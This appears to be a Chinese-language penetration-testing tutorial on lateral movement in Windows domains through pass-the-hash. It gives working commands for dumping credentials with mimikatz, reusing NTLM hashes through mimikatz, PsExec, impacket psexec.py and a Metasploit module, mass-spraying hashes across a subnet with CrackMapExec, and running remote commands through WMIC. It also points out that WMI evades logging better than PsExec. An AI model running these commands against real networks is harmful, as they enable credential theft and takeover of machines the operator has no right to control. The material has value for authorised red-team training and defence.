横向渗透

PTH(pass-the-hash)HASH传递

pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

pass the hash 原理:

• 在 Windows 系统中,通常会使用 NTLM 身份认证

• NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)
• hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LMhash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用

• 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用API 生成 hash 的过程)

这类攻击适用于:

• 域/工作组环境

• 可以获得 hash,但是条件不允许对 hash 爆破

• 内网中存在和当前机器相同的密码

微软也对 pth 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass The
Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号
仍可以进行 Pass The Hash 远程 ipc 连接。

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使
用 mimikatz 还是可以攻击成功。

从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。

mimitkaz pth

privilege::debug
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
因为mimikatz不能粘贴复制,所以我们可以将执行结果导入倒txt文件中

0

得到 hash 后进行

privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc
5e9cba88547376818d4

1

成功后 会弹出终端 cmd。

psexec

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议

psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递

PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456 cmd

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框

-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell

直接直接执行回显

-u 域\用户名

-p 密码

PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"

2

查看是否开放445端口

netstat -ano | find "445"

3

上面是建立在明文之上 下面 hash 下进行登录

psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba8854
7376818d4 ./Administrator@192.168.0.123

4

出现这个错误可以使用 impacket 这个工具包下的 psexec 进行利用

python3 psexec.py -hashes aa:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123

5

在使用 PsExec 时需要注意以下几点:

• 需要远程系统开启 admin$ 共享(默认是开启的)

• 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口

• 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。

• 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。

• 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell

• 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

登陆域管理命令

impacket 下的 psexec

python3 psexec.py moonsec/Administrator@192.168.0.142

执行命令后输入密码

登陆其他主机管理员

psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd

使用 msf hash 模块

use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba885473
76818d4

6

CrackMapExec

CrackMapExec 可以对 C 段中的主机进行批量 pth,项目地址:

https://github.com/byt3bl33d3r/CrackMapExec.git

使用命令:

crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4

对 192.168.9.0/24 C 段进行批量 pass the hash
7

WMI

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,
Windows 98 以后的操作系统都支持 WMI。

由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将
PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

wmic 命令

WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目
标主机 C 盘的 ip.txt 文件中

使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口

( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"

8
.

.

.

之后建立 IPC$ ,使用 type 读取执行结果

net use \\192.168.0.123\ipc$ "123456" /user:administrator
type \\192.168.0.123\c$\ip.txt

9